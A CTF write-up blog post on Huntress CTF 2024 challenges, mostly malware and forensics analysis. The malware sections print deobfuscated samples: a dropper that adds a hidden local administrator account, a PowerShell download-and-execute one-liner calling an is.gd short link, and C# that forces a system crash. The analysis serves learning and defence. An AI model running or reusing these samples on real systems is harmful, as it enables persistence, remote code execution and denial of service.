Home Huntress CTF 2024
Post
Cancel

Huntress CTF 2024

Celebrate Cybersecurity Awareness Month with Huntress

October 2, 12:00 PM ET - October 31, 11:59 PM ET

New challenges released every day!

This was a CTF that went on for the whole month of October, releasing on average 2 challenges a day. I mostly focused on Malware, Forensics, Web categories. Unfortuantely, I couldn’t participate as much as previous year.

Warmups

Whamazon

Wham! Bam! Amazon is entering the hacking business! Can you buy a flag?

We get access to a browser game. We need to buy a flag but we only have $50 and a flag costs $100000.

We can buy negative items to add to our balance.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
888       888888    888       d8888888b     d888       d88888888888888P .d88888b. 888b    888 
888   o   888888    888      d888888888b   d8888      d88888      d88P d88P" "Y88b8888b   888 
888  d8b  888888    888     d88P88888888b.d88888     d88P888     d88P  888     88888888b  888 
888 d888b 8888888888888    d88P 888888Y88888P888    d88P 888    d88P   888     888888Y88b 888  
                                                                                             
                                                                                               
What's up, Whammy? What do you wanna do?

 1. Examine your Inventory
 2. Buy from Whamazon
 3. Quit
> 2

Woohoo! We are where it's at: WHAMAZON!
What would you like to buy?

!! You have: 50 dollars in your wallet !!

 1. Apples
 2. Oranges
 3. Video Games
 4. Game Console
 5. Television
 6. House
 7. The Flag
 8. "Nothing, I want to leave"
> 2

The 'Oranges' item costs 2 dollars.
How many of the 'Oranges' items would you like ?
> -999999999999999999999
Crunching the numbers...
  2 dollars x -999999999999999999999 = -1999999999999999999998 subtracted from your wallet!

!! You have: 2000000000000000000048 dollars in your wallet !!

We can now purchase the flag, but first, we need to play a game of rock-paper-scissors. After a few attempts, it becomes clear that ‘rock’ is never chosen, making it easy to win the game.

Finders Keepers

You gotta make sure the people who find stuff for you are rewarded well! Escalate your privileges and uncover the flag.txt in the finder user’s home directory.

We get access trough ssh, we can’t do sudo and running linpeas times out the box so we need to do some manual reconnaissance.

We see there is a finder home folder, the permissions on /home/finder:

1
2
$ ls -al
drwxr-x--- 1 finder finder 4096 Oct  7 18:52 /home/finder

The permissions are drwxr-x---: - d: Directory. - rwx (owner, finder): The owner has read, write, and execute permissions. - r-x (group, finder): The group can read and execute. - --- (others): No permissions for others, meaning the user has no access.

1
2
user@finders-fee-5632f4dcf78eb5b8-5bd9f469f8-6r9h2:/home$ cat /home/finder/flag.txt
cat: /home/finder/flag.txt: Permission denied

The permissions on /home/finder don’t allow you to directly access files (due to lack of execute permission for “others”), but we can use the find command to read the contents of the flag.

The find command is run as the user and has the necessary permissions to traverse the directory and execute the command on the found file. find inherits the current user’s permissions and doesn’t require cat to directly access the file, it’s all handled internally by find.

1
2
$ find /home/finder -name flag.txt -exec cat {} \;
flag{5da1de289823cfc200adf91d6536d914}

This command works successfully and displays the contents of flag.txt as we use exec cat {} \;: which executes the cat command on every result it finds (in this case, the file flag.txt). The {} is a placeholder for the file path found, and \; ends the command.

Cryptography

No need for Brutus

A simple message for you to decipher: squiqhyiiycfbudeduutvehrhkjki Submit the original plaintext hashed with MD5, wrapped between the usual flag format: flag{}

Using an online ceaser cipher solver, we find the corresponding value caesarissimplenoneedforbrutus after using a shift of 10. Afterwards you can use an MD5 hasher to get the flag: flag{c945bb2173e7da5a292527bbbc825d3f}

Forensics

Hidden Streams

Beneath the surface, secrets glide, A gentle flow where whispers hide. Unseen currents, silent dreams, Carrying tales in hidden streams.

Can you find the secrets in these Sysmon logs?

We get a “Sysmon.evtx” file.

There are some system events that are especially interesting for doing forensics on system logs generated by sysmon (source):

  • Event ID 1 — Process Creation: Logs process creation, useful for identifying abnormal parent-child process relationships and suspicious process chains.
  • Event ID 2 — File Creation Time Changed: Detects “time stomp” attacks where attackers modify file creation times to cover tracks.
  • Event ID 3 — Network Connection: Tracks network connections, useful for detecting network anomalies despite potential noise.
  • Event ID 4 — Sysmon Service State Changed: Monitors Sysmon service state changes, useful for detecting attempts to disable Sysmon.
  • Event ID 5 — Process Terminated: Logs process terminations, helps detect critical process terminations or sacrificial processes.
  • Event ID 6 — Driver Loaded: Tracks driver loading, potentially indicating “bring your own driver” (BYOD) attacks.
  • Event ID 7 — Image Loaded: Tracks DLL loads, useful for identifying malicious DLL loading or DLL hijacking.
  • Event ID 8 — CreateRemoteThread: Detects remote thread creation, useful for spotting code injections or rogue processes.
  • Event ID 9 — RawAccessRead: Monitors raw disk read operations, useful for detecting unauthorized drive reading activities.
  • Event ID 10 — Process Access: Logs process handle accesses, useful for detecting remote code injection or memory dumping.
  • Event ID 11 — File Create: Logs file creation events, useful for identifying suspicious files and correlating file origins.
  • Event ID 12 & 13 — Registry Events: Tracks registry object creation, deletion, and value changes. Critical for detecting registry-based attacks.
  • Event ID 15 — File Create Stream Hash: Monitors file streams and external downloads, useful for tracking security-related file modifications.
  • Event ID 16 — Sysmon Config State Changed: Detects Sysmon configuration changes, useful for identifying tampering attempts.
  • Event ID 17 & 18 — Pipe Created/Connected: Monitors pipe creation and connection, useful for detecting interprocess communication and lateral movement tools like PsExec.
  • Event ID 22 — DNS Event: Tracks DNS queries, useful for detecting DNS beaconing and suspicious DNS activity.
  • Event ID 23 — File Delete: Monitors file deletions, useful for detecting malware cleanup or ransomware activity.
  • Event ID 24 — Clipboard Changes: Monitors clipboard changes, potentially revealing sensitive data leaks or data theft attempts.
  • Event ID 25 — Process Tampering (Process Image Change): Detects unusual process image changes, useful for spotting tampering or herpadering attempts.

As the sysmon file is about 70k lines long, we can export the file to JSON or csv for easier analysis and only include the above-mentioned event ids with the EvtxECmd tool of EricZimmerman.

1
C:\Users\flare\Desktop\Tools\Utilities\EvtxEvCMD\EvtxECmd.exe -f .\Sysmon.evtx --json Sysmon_export --inc 1-12,15-17,22-25

We now have an export that is a bit slimmed down, we search on Stream events (ID15) as is hinted in the title of the challenge and find this one containing the base64 encoded value of the flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
{
    "PayloadData1": "ProcessID: 2460, ProcessGUID: b56ae52f-6533-66ce-be00-000000000900",
    "PayloadData2": "RuleName: -",
    "PayloadData3": "Image: C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\PowerShell.exe",
    "PayloadData4": "TargetFilename: C:\\Temp:$5GMLW",
    "PayloadData5": "Hash: SHA1=B1C3068058ADDF418D3E1418CD28414325B7A757,MD5=E754797031C6B367D0B6209092F34B3B,SHA256=F414CBA3A5D8C6EF18B1BE31F09C848447DDB37A5712E36EB7825E4E1EFAE868,IMPHASH=00000000000000000000000000000000",
    "UserName": "WIN-UL3TI0T0LM6\\Administrator",
    "MapDescription": "FileCreateStreamHash",
    "ChunkNumber": 21,
    "Computer": "WIN-UL3TI0T0LM6.test.local",
    "Payload": "{\"EventData\":{\"Data\":[{\"@Name\":\"RuleName\",\"#text\":\"-\"},{\"@Name\":\"UtcTime\",\"#text\":\"2024-08-28 00:19:11.899\"},{\"@Name\":\"ProcessGuid\",\"#text\":\"b56ae52f-6533-66ce-be00-000000000900\"},{\"@Name\":\"ProcessId\",\"#text\":\"2460\"},{\"@Name\":\"Image\",\"#text\":\"C:\\\\Windows\\\\system32\\\\WindowsPowerShell\\\\v1.0\\\\PowerShell.exe\"},{\"@Name\":\"TargetFilename\",\"#text\":\"C:\\\\Temp:$5GMLW\"},{\"@Name\":\"CreationUtcTime\",\"#text\":\"2024-08-28 00:00:22.726\"},{\"@Name\":\"Hash\",\"#text\":\"SHA1=B1C3068058ADDF418D3E1418CD28414325B7A757,MD5=E754797031C6B367D0B6209092F34B3B,SHA256=F414CBA3A5D8C6EF18B1BE31F09C848447DDB37A5712E36EB7825E4E1EFAE868,IMPHASH=00000000000000000000000000000000\"},{\"@Name\":\"Contents\",\"#text\":\"ZmxhZ3tiZmVmYjg5MTE4MzAzMmY0NGZhOTNkMGM3YmQ0MGRhOX0=  \"},{\"@Name\":\"User\",\"#text\":\"WIN-UL3TI0T0LM6\\\\Administrator\"}]}}",
    "UserId": "S-1-5-18",
    "Channel": "Microsoft-Windows-Sysmon/Operational",
    "Provider": "Microsoft-Windows-Sysmon",
    "EventId": 15,
    "EventRecordId": "15107",
    "ProcessId": 6968,
    "ThreadId": 6552,
    "Level": "Info",
    "Keywords": "Classic",
    "SourceFile": "C:\\Users\\flare\\Downloads\\challenge\\Sysmon.evtx",
    "ExtraDataOffset": 0,
    "HiddenRecord": false,
    "TimeCreated": "2024-08-28T00:19:14.0335852+00:00",
    "RecordNumber": 756
}
1
2
PS C:\Users\flare\Downloads\challenge> [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("ZmxhZ3tiZmVmYjg5MTE4MzAzMmY0NGZhOTNkMGM3YmQ0MGRhOX0="))
flag{bfefb891183032f44fa93d0c7bd40da9}

Malware

StrangeCalc

I got this new calculator app from my friend! But it’s really weird, for some reason it needs admin permissions to run?? NOTE: Archive password is strange_calc

We get an archive, but when we try to extract the archive with the default windows extractor we get an error.

strange-calc-error

We need to open this archive with 7zip, then we get asked to input a password and can extract it.

We run the file command and notice it’s UPX compressed.

1
2
C:\Users\flare\Documents\CTF\Huntress\2024\calc>file calc.exe
calc.exe: PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed

We unpack the exe file with upx -d.

1
2
3
4
5
6
C:\Users\flare\Documents\CTF\Huntress\2024\calc>upx -d calc.exe
        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
    432169 <-    206377   47.75%    win32/pe     calc.exe

Unpacked 1 file.

When opening the unpacked exe in pestudio, we notice this is compiled through AutoIt.

strange-calc-pestudio

When we search online, we can find an extractor.

strange-calc-extract

When saving the extracted code, we get AutoIt code.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
; <AUT2EXE VERSION: 3.2.4.9>
; ----------------------------------------------------------------------------
; <AUT2EXE INCLUDE-START: C:\Users\johnh\Desktop\Desktop\otto_calculator.au3>
; ----------------------------------------------------------------------------
#NoTrayIcon
#region
#AutoIt3Wrapper_Change2CUI=y
#endregion
If Not IsAdmin() Then
    MsgBox(16, "Error", "You must have administrator privileges.")
    Exit
EndIf
Local $a = "I0B+XmNRTUFBQT09VyF4XkRrS3hQbWAoYgk3bC5QMSdFRUJOJyggL2FWa0RjRS0JSippV1cuYzdsLlB/eCFwK0AhW2NWK1VMRHRJKzNRKgktbUQsMCc5JH9EUk0rMlZtbW5jSjcta1F1Jy9fZiZMfkVCKmlyMGNXY2tVTn9hcjZgRTh/b2tVRSoneCdaay0wIGJ4OSs2fTB2RSsJTkUjeyd4VC11MHt4J3JKIzFHVVlieCErSVxDLixveGA2IG00bC4vS04rKU92IWJPMisqW38yaTZXRHZcbS5QNCdxaTRAIVcgXit4VE90cHRfeypiCWIwdnRRJkAqeDZScysJTFk0Izguf2wzSS1tRH5re2M2Ul40bE1aVzkrek9gNCNSJnkjJ38yfkx7YzBjbXRtLi9XOSt6WWN0UXEqT2YgKid2Mn5WeHYwUl40bUQvVzluelljNF95I08yICondjJ+cyd2MCBeNGxEO0dOf2JZdjRRJipPMiBiW39mcG1RJ1VPRGJ4TCA2RFdoLzRsLlpLW39gY2JAIUAhICMtYE5AKkAqVyNiaWIwYzQzIEAhNiBWf3hvRDRSRiptMydqWS5yCW8gME1HOjt0Qy47V05uY3ZgJVs4WCpAIUAhVyMtYDNAKkAqeWIjcGtXYDRfZkAhNlJWf1VvRHRPOGJeX3s/RERyeEwgNkRHOjs0bE1aR1t/YGBjVkwmYkAhQCF/KnVzKjgpRCtERU1VUDFSZEUoL08uYnhvdlR+VCM4N0MuUHMncjRub3JVLHYqYyxSLQlNMW81YiwJSklSZmAiMXdgXUJ2dWIsO15xUiZ7MlMuT2YwL3YoLFtAIShjJiJ6Un8hSX5xS00tVXwneG54OUVpN2wufgknbGNoKmktbE1+Sycscnh/WVAhL38uUGRXXmxeYltoYnhra09EbVlXTX5FXwlfclAmbFtbcn5FeH9PUF5XXkNeb0RHO2FQQ05zcglrZEREbVlXTS8sSlcxbHNiOTpyVWIvWU1DWUtEUEpDW05yfnJtQ1ZeIH82bkpZSVxtRH4ye3grQX56bU9rN25vcjhOKzFZYEV/VV5EYndPUlV0bnNeQiNwV1dNYFxtLn47eyFwO0AhVyBzf3hMWTRSRnA7UVEqCXcgXSF4Y1ddNVl+VEIwbVYvfyMpMlIiRVVgSyQrREJGfjZDVmsrI3A0UkFCQUE9PV4jfkA="
Local $b = x($a)
Local $c = r(4) & r(2) & r(3) & r(1) & ".jse"
Func r($aa)
    Local $zz = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    Local $s = ""
    For $i = 1 To $aa
        $s &= StringMid($zz, Random(1, StringLen($zz), 1), 1)
    Next
    Return $s
EndFunc   ;==>r
Local $d = FileOpen($c, 2)
If $d = -1 Then
    MsgBox(16, "Error", "Failed to open the calculator.")
    Exit
EndIf
FileWrite($d, $b)
FileClose($d)
FileSetAttrib($c, "+H")
FileSetAttrib($c, "+S")
Func x($e)
    Local $f = DllStructCreate("dword")
    DllCall("crypt32.dll", "int", "CryptStringToBinaryA", _
            "str", $e, _
            "dword", StringLen($e), _
            "dword", 1, _
            "ptr", 0, _
            "ptr", DllStructGetPtr($f), _
            "ptr", 0, _
            "ptr", 0)
    Local $g = DllStructCreate("byte[" & DllStructGetData($f, 1) & "]")
    DllCall("crypt32.dll", "int", "CryptStringToBinaryA", _
            "str", $e, _
            "dword", StringLen($e), _
            "dword", 1, _
            "ptr", DllStructGetPtr($g), _
            "ptr", DllStructGetPtr($f), _
            "ptr", 0, _
            "ptr", 0)
    Return BinaryToString(DllStructGetData($g, 1))
EndFunc   ;==>x
$o = ObjCreate("MSScriptControl.ScriptControl")
$o.Language = "JScript"
$p = "new ActiveXObject('WScript.Shell').Run('wscript.exe " & $c & "',1,false);"
$o.ExecuteStatement($p)
; ----------------------------------------------------------------------------
; <AUT2EXE INCLUDE-END: C:\Users\johnh\Desktop\Desktop\otto_calculator.au3>
; ----------------------------------------------------------------------------

Throwing that base64 value in cyberchef and then adding the “Microsoft Script Decoder” we get javascript code.

strange-calc-cc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
function a(b) {
    var c = "",
        d = b.split("\n");
    for (var e = 0; e < d.length; e++) {
        var f = d[e].replace(/^\s+|\s+$/g, '');
        if (f.indexOf("begin") === 0 || f.indexOf("end") === 0 || f === "") continue;
        var g = (f.charCodeAt(0) - 32) & 63;
        for (var h = 1; h < f.length; h += 4) {
            if (h + 3 >= f.length) break;
            var i = (f.charCodeAt(h) - 32) & 63,
                j = (f.charCodeAt(h + 1) - 32) & 63,
                k = (f.charCodeAt(h + 2) - 32) & 63,
                l = (f.charCodeAt(h + 3) - 32) & 63;
            c += String.fromCharCode((i << 2) | (j >> 4));
            if (h + 2 < f.length - 1) c += String.fromCharCode(((j & 15) << 4) | (k >> 2));
            if (h + 3 < f.length - 1) c += String.fromCharCode(((k & 3) << 6) | l)
        }
    }
    return c.substring(0, g)
}
var m = "begin 644 -\nG9FQA9WLY.3(R9F(R,6%A9C$W-3=E,V9D8C(X9#<X.3!A-60Y,WT*\n`\nend";
var n = a(m);
var o = ["net user LocalAdministrator " + n + " /add", "net localgroup administrators LocalAdministrator /add", "calc.exe"];
var p = new ActiveXObject('WScript.Shell');
for (var q = 0; q < o.length - 1; q++) {
    p.Run(o[q], 0, false)
}
p.Run(o[2], 1, false);

We add some loggin to see the values used in the script, it appears that variable c contained the flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
function a(b) {
    var c = "",
        d = b.split("\n");
    ...
    ...
    ...
    console.log(c);
    return c.substring(0, g)
}
var m = "begin 644 -\nG9FQA9WLY.3(R9F(R,6%A9C$W-3=E,V9D8C(X9#<X.3!A-60Y,WT*\n`\nend";
var n = a(m);
var o = ["net user LocalAdministrator " + n + " /add", "net localgroup administrators LocalAdministrator /add", "calc.exe"];

console.log(m)
console.log(n)

for (var q = 0; q < o.length - 1; q++) {
    console.log(o[q], 0, false)
}
console.log(o[2], 1, false);

Console Output:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
flag{9922fb21aaf1757e3fdb28d7890a5d93}
begin 644 -
G9FQA9WLY.3(R9F(R,6%A9C$W-3=E,V9D8C(X9#<X.3!A-60Y,WT*
`
end
net user LocalAdministrator  /add
0
false
net localgroup administrators LocalAdministrator /add
0
false
calc.exe
1
false

Russian Roulette

My PowerShell has been acting really weird!! It takes a few seconds to start up, and sometimes it just crashes my computer!?!?! :( WARNING: Please examine this challenge inside of a virtual machine for your own security. Upon invocation there is a real possibility that your VM may crash. NOTE: Archive password is russian_roulette

We get a powershell lnk file that links to C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -e aQB3AHIAIABpAHMALgBnAGQALwBqAHcAcgA3AEoARAAgAC0AbwAgACQAZQBuAHYAOgBUAE0AUAAvAC4AYwBtAGQAOwAmACAAJABlAG4AdgA6AFQATQBQAC8ALgBjAG0AZAA=

When we base64 decode that value we get i.w.r. .i.s...g.d./.j.w.r.7.J.D. .-.o. .$.e.n.v.:.T.M.P./...c.m.d.;.&. .$.e.n.v.:.T.M.P./...c.m.d. which is point seperated powershell code:

1
iwr isgd/jwr7JD -o $env:TMP/cmd;& $env:TMP/cmd

Now, let’s break this down:

  • iwr refers to Invoke-WebRequest, a PowerShell cmdlet used to download files from the internet.
  • isgd/jwr7JD should be a URL but it’s missing a point due to our search/replace in the previous step.
  • -o $env:TMP/.cmd is telling PowerShell to output the result of the web request to the temporary directory ($env:TMP), saving it as .cmd.
  • & $env:TMP/.cmd is the part that executes the downloaded script.

If we download the file from “is.gd/jwr7JD” we get a file called “powershell.zip” but upon inspection it mentions it being a UTF-16 file.

1
2
C:\Users\flare\Downloads>file powershell.zip
powershell.zip: Little-endian UTF-16 Unicode text, with very long lines, with no line terminators

I tried a few convertors but those would not work:

1
2
3
$ iconv -f UTF-16LE -t UTF-8 ~/Downloads/powershell.zip -o output_russian_roulette2.txt
$ iconv -f UTF-16LE -t US-ASCII ~/Downloads/powershell.zip -o output_russian_roulette3.txt
iconv: illegal input sequence at position 0

When I looked at the content of the file it seems like it was normal text, so I removed the magic bytes that are associated with UTF-16 files (fffe).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ xxd ~/Downloads/powershell.zip
00000000: fffe 2663 6c73 0d0a 4065 6368 6f20 6f66  ..&cls..@echo of
00000010: 660d 0a73 6574 2075 6362 773d 7365 740d  f..set ucbw=set.
00000020: 0a3a 3a20 d09f d183 d182 d0b5 d188 d0b5  .:: ............
00000030: d181 d182 d0b2 d0b8 d18f 20d0 b220 d0b2  .......... .. ..
00000040: d0be d0be d0b1 d180 d0b0 d0b6 d0b5 d0bd  ................
00000050: d0b8 d0b8 2c20 d0ba d0b0 d0ba 20d0 b820  ...., ...... .. 
$ hexeditor ~/Downloads/powershell.zip
$ xxd ~/Downloads/powershell2.zip
00000000: 0000 2663 6c73 0d0a 4065 6368 6f20 6f66  ..&cls..@echo of
00000010: 660d 0a73 6574 2075 6362 773d 7365 740d  f..set ucbw=set.
00000020: 0a3a 3a20 d09f d183 d182 d0b5 d188 d0b5  .:: ............
00000030: d181 d182 d0b2 d0b8 d18f 20d0 b220 d0b2  .......... .. ..
00000040: d0be d0be d0b1 d180 d0b0 d0b6 d0b5 d0bd  ................
00000050: d0b8 d0b8 2c20 d0ba d0b0 d0ba 20d0 b820  ...., ...... .. 

This results in a obfuscated powershell script that contains russian text.

1
2
3
4
5
6
7
8
9
10
11
12
13
$ file ~/Downloads/powershell2.zip 
/home/kali/Downloads/powershell2.zip: data
─$ cat ~/Downloads/powershell2.zip 
&cls
@echo off
set ucbw=set
:: Путешествия в воображении, как и путешествия в реальности, могут привести к удивительным открытиям и незабываемым встречам с персонажами, которые живут на грани воображаемого и реального.
%ucbw% qmy= 
:: Песнь птиц, запутавшаяся в ветвях деревьев, как древний гимн жизни, разносится по лесу, наполняя его радостью и напоминая о том, что природа всегда была и будет в движении.
%ucbw%%qmy%jxaa==
...
...
...

There are a few steps to deobfuscate this script:

  1. Remove russian lines
    • Enable Regular Expression search by clicking on the .* icon in the search bar.
    • search for ^::.*\n and replace with nothing. This regex matches any line that starts with :: and removes the entire line.
  2. Then we manually start to replace the variables in the script.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
&cls
set ucbw=set
%ucbw% qmy= 
%ucbw%%qmy%jxaa==
%ucbw%%qmy%ccdn%jxaa%/
%ucbw%%qmy%svmh%jxaa%a
%ucbw%%qmy%rfs%jxaa%c
%ucbw%%qmy%knec%jxaa%m
%ucbw%%qmy%bgr%jxaa%d
%ucbw%%qmy%zer%jxaa%e
%ucbw%%qmy%dzj%jxaa%x
%ucbw%%qmy%ozfl%jxaa%i
%ucbw%%qmy%mey%jxaa%t
%ucbw%%qmy%egsb%jxaa% 
%ucbw%%qmy%%ccdn%%svmh%%qmy%rtoy%jxaa%9161456 %% 9161359
%rfs%%knec%%bgr%%egsb%%ccdn%%rfs%%egsb%%zer%%dzj%%ozfl%%mey%%egsb%%rtoy%
%ucbw%%qmy%ztq%jxaa%%=exitcodeAscii%
%ucbw%%qmy%%ccdn%%svmh%%qmy%ltjf%jxaa%7630868 %% 7630770
%rfs%%knec%%bgr%%egsb%%ccdn%%rfs%%egsb%%zer%%dzj%%ozfl%%mey%%egsb%%ltjf%
...
...
...

We end up with this partly desobfuscated script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
&cls
set ucbw=set
%ucbw% qmy= 
%ucbw%%qmy%jxaa==
%ucbw%%qmy%ccdn%jxaa%/
%ucbw%%qmy%svmh%jxaa%a
%ucbw%%qmy%rfs%jxaa%c
%ucbw%%qmy%knec%jxaa%m
%ucbw%%qmy%bgr%jxaa%d
%ucbw%%qmy%zer%jxaa%e
%ucbw%%qmy%dzj%jxaa%x
%ucbw%%qmy%ozfl%jxaa%i
%ucbw%%qmy%mey%jxaa%t
%ucbw%%qmy%egsb%jxaa% 
%ucbw%%qmy%%ccdn%%svmh%%qmy%rtoy%jxaa%9161456 %% 9161359
%rfs%%knec%%bgr%%egsb%%ccdn%%rfs%%egsb%%zer%%dzj%%ozfl%%mey%%egsb%%rtoy%
%ucbw%%qmy%ztq%jxaa%%=exitcodeAscii%
%ucbw%%qmy%%ccdn%%svmh%%qmy%ltjf%jxaa%7630868 %% 7630770
%rfs%%knec%%bgr%%egsb%%ccdn%%rfs%%egsb%%zer%%dzj%%ozfl%%mey%%egsb%%ltjf%
...
...
...

It’s a huge file (310 lines) so we need to automate our obfuscation process. I remeber doing something similar previous year so I reused my script for it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
import re

# Regular expression patterns
set_a_lines_pattern = r'^set /a (\w+) =(\d+) %% (\d+)'
cmd_lines_pattern = r'^cmd /c exit (\d+)'
set_line_with_exit_code_pattern = r'^set (\w+) =%=exitcodeAscii%'

# Function to calculate the modulo and store in variables_list
def calculate_modulo(match):
    var_name, dividend, divisor = match.groups()
    result = int(dividend) % int(divisor)
    return var_name, result

# Initialize variables
variables_list = {}
prev_exit_code = 0

# Read the input file
with open('input', 'r') as input_file:
    lines = input_file.readlines()

# Process each line
for line in lines:
    set_a_match = re.match(set_a_lines_pattern, line)
    set_line_exit_code_match = re.match(set_line_with_exit_code_pattern, line)

    if set_a_match:
        var_name, result = calculate_modulo(set_a_match)
        variables_list[var_name] = result
        prev_exit_code = result
    if set_line_exit_code_match:
        var_name = set_line_exit_code_match.group(1)
        # Store the ASCII value 
        variables_list[var_name] = chr(prev_exit_code)

# Loop over every line and replace "% + variablename + %" with the value stored in the list
modified_lines = []
for line in lines:
    for var_name, result in variables_list.items():
        line = re.sub(fr'%{var_name}%', str(result), line)
    if "set /a" in line:
        # Extract the variable name from the line
        var_name = re.search(r'^set /a (\w+)', line).group(1)
        if var_name in variables_list:
            # Replace the line with the new value
            line = f'set /a {var_name} = {variables_list[var_name]}\n'
    if "exitcodeAscii" in line:
        # Extract the variable name from the line
        var_name = re.search(r'^set (\w+) =%=exitcodeAscii%', line).group(1)
        if var_name in variables_list:
            # Replace the line with the new value
            line = f'set {var_name} = {variables_list[var_name]}\n'
    modified_lines.append(line)

print(f"{variables_list.items()}")

# Part 3 - Loop over the result and add spaces behind rem and set commands
final_modified_lines = []
for line in modified_lines:
    if line.startswith("rem ") or line.startswith("set "):
        line = line + ' '
    final_modified_lines.append(line)

# Write the final modified content to a new file
with open('deobf_output', 'w') as output_file:
    output_file.writelines(modified_lines)

This analysis leads us to a base64 encoded value in the PowerShell script that again decodes to a Powershell script that executes embedded C# code. Upon refining the C# code, we obtain the following implementation:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
# Define the C# class as a string
$s = @'
using System;
using System.Text;
using System.Security.Cryptography;
using System.Runtime.InteropServices;
using System.IO;

public class X {
    [DllImport("ntdll.dll")]
    public static extern uint RtlAdjustPrivilege(int privilege, bool enable, bool currentThread, out bool previousValue);

    [DllImport("ntdll.dll")]
    public static extern uint NtRaiseHardError(uint errorStatus, uint numberOfParameters, uint reserved, IntPtr errorParameter, uint responseOption, out uint exitCode);

    public static unsafe string Shot() {
        bool previousValue;
        uint exitCode;

        // Adjust privilege
        RtlAdjustPrivilege(19, true, false, out previousValue);
        
        // Raise hard error
        NtRaiseHardError(0xc0000022, 0, 0, IntPtr.Zero, 6, out exitCode);
        
        // Base64 encoded encrypted data and parameters
        byte[] cipherText = Convert.FromBase64String("RNo8TZ56Rv+EyZW73NocFOIiNFfL45tXw24UogGdHkswea/WhnNhCNwjQn1aWjfw");
        byte[] key = Convert.FromBase64String("/a1Y+fspq/NwlcPwpaT3irY2hcEytktuH7LsY+NlLew=");
        byte[] iv = Convert.FromBase64String("9sXGmK4q9LdYFdOp4TSsQw==");

        using (Aes aes = Aes.Create()) {
            aes.Key = key;
            aes.IV = iv;

            using (ICryptoTransform decryptor = aes.CreateDecryptor(aes.Key, aes.IV)) {
                using (var memoryStream = new MemoryStream(cipherText))
                using (var cryptoStream = new CryptoStream(memoryStream, decryptor, CryptoStreamMode.Read))
                using (var streamReader = new StreamReader(cryptoStream)) {
                    return streamReader.ReadToEnd();
                }
            }
        }
    }
}
'@

# Create Compiler Parameters
$c = New-Object System.CodeDom.Compiler.CompilerParameters
$c.CompilerOptions = '/unsafe'

# Compile the C# code and create a type
$a = Add-Type -TypeDefinition $s -Language CSharp -PassThru -CompilerParameters $c

# Conditionally execute the Shot method
if ((Get-Random -Min 1 -Max 7) -eq 1) {
    [X]::Shot()
}

# Start a new PowerShell process
Start-Process "powershell.exe"

Finally, we can simplify this C# code and print out the value returned from the Shot() method and display the output.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
using System;
using System.IO;
using System.Runtime.InteropServices;
using System.Security.Cryptography;

public class Program
{
    [DllImport("ntdll.dll")]
    public static extern uint RtlAdjustPrivilege(int privilege, bool enable, bool currentThread, out bool previousValue);

    [DllImport("ntdll.dll")]
    public static extern uint NtRaiseHardError(uint errorStatus, uint numberOfParameters, uint reserved, IntPtr errorParameter, uint responseOption, out uint exitCode);

    public static string Shot()
    {
        // Base64 encoded encrypted data and parameters
        byte[] cipherText = Convert.FromBase64String("RNo8TZ56Rv+EyZW73NocFOIiNFfL45tXw24UogGdHkswea/WhnNhCNwjQn1aWjfw");
        byte[] key = Convert.FromBase64String("/a1Y+fspq/NwlcPwpaT3irY2hcEytktuH7LsY+NlLew=");
        byte[] iv = Convert.FromBase64String("9sXGmK4q9LdYFdOp4TSsQw==");

        using (Aes aes = Aes.Create())
        {
            aes.Key = key;
            aes.IV = iv;

            using (ICryptoTransform decryptor = aes.CreateDecryptor(aes.Key, aes.IV))
            {
                using (var memoryStream = new MemoryStream(cipherText))
                using (var cryptoStream = new CryptoStream(memoryStream, decryptor, CryptoStreamMode.Read))
                using (var streamReader = new StreamReader(cryptoStream))
                {
                    return streamReader.ReadToEnd();
                }
            }
        }
    }

    public static void Main(string[] args) 
    {
        string result = Shot();
        Console.WriteLine(result); 
        Console.ReadLine();
    }
}

flag{4e4f266d44717ff3af8bd92d292b79ec}

Ping me

We found this file in the autoruns of a host that seemed to have a lot of network activity… can you figure out what it was doing?

The obfuscated script has obfuscated char(ascii code) we can use a script to decode it.

The deobfuscate result is

1
Dim sh, ips, i:Set sh = CreateObject("WScript.Shell"):ips = Array("102.108.97.103", "123.54.100.49", "98.54.48.52", "98.98.49.98", "54.100.97.51", "50.98.56.98", "98.99.97.57", "101.50.54.100", "53.49.53.56", "57.125.35.35"):For i = 0 To UBound(ips):    sh.Run "cmd /Q /c ping " & ips(i), 0, False:Next

We create Python script to convert each dot-separated number in the array into its corresponding ASCII character.

1
2
3
4
5
6
7
8
9
10
11
12
13
def convert_array_to_ascii(arr):
    decoded_strings = []
    for item in arr:
        # Split the string by '.' and convert each number to its corresponding ASCII character
        chars = [chr(int(num)) for num in item.split('.')]
        decoded_strings.append(''.join(chars))  # Join characters into a string
